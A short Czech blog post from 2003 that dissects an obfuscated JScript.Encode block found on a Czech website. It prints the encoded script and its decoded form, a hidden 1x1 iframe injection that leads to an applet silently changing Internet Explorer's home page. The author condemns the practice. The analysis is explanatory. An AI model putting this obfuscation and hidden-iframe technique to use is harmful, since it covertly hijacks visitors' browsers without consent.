Kódovaný javascript
Na stránkách www.netcross.cz je kódovaný javascript, který stáhne iframe, který stáhne applet, který v Exploreru bez varování přenastaví domovskou stránku.
Opět jsem se utvrdil v tom, že procházením cizích skriptů se člověk nejvíc naučí. Když mě Tomáš upozornil, že NetCross automaticky nastavuje netcross jako domovskou stránku, tak jsem skoro nevěřil, že je to možné. Ale je to tak. Dělá to nějaký java applet. Mnohem zajímavější mi ale přišel způsob, jak je applet ve stránkách ukrytý. Na první ani na druhý pohled totiž ve zdroji není vůbec nic vidět. Teprve pečlivá prohlídka zaznamenala podezřelý skript:
<script language = JScript.Encode> #@~^bwAAAA==@#@&NG1Es+xDRS.kD+cJ@!kW.m:+,Ak9Yt{q~t#kTtO'q~kD^'E4YDwl&JhhA +OmMGk/ 1yJlN7+MOz1W;xDR24aB@*@!&k6Dlsn@*J*i@#@&UyMAAA==^#~@ </script>
Znáte jazyk JScript.Encode? Já jsem ho neznal. Umí ho Explorer od verze 5. Autor napíše normální skript a zakóduje ho pomocí microsoftího programu srcenc (starý odkaz už v roce 2016 nefunguje). Nic, co bych doporučoval používat, ale asi je dobré vědět, že to existuje.
To kódování není tak triviální, protože narozdíl od jiných podobných věcí není napsané v Javascriptu, ale přímo implementované v Exploreru. Řešení jsem hledal dost dlouho, než jsem zjistil, že v rozkódované verzi je ten šílený řetězec takovýhle skriptík:
document.write( "<iframe width=1 height=1 src='http: //www.netcross.cz/advert/count.php'> </iframe>" );
Podle toho, jak to autor kódu maskoval, je jasné, že nemá čisté svědomí. To PéHáPko posílá další javascript, který zapisuje applet Count.class, ten applet se spouští a využitím nějaké slabiny Windows přenastaví výchozí stránku. Věřím, že zájemci si to dopitvají sami, protože appletům nerozumím. Než ale začnete podobné applety psát a používat, vězte, že to považuji za hanebnost.
Publikováno 9. června 2003
Tento článek je původně z weblogu
Reklama
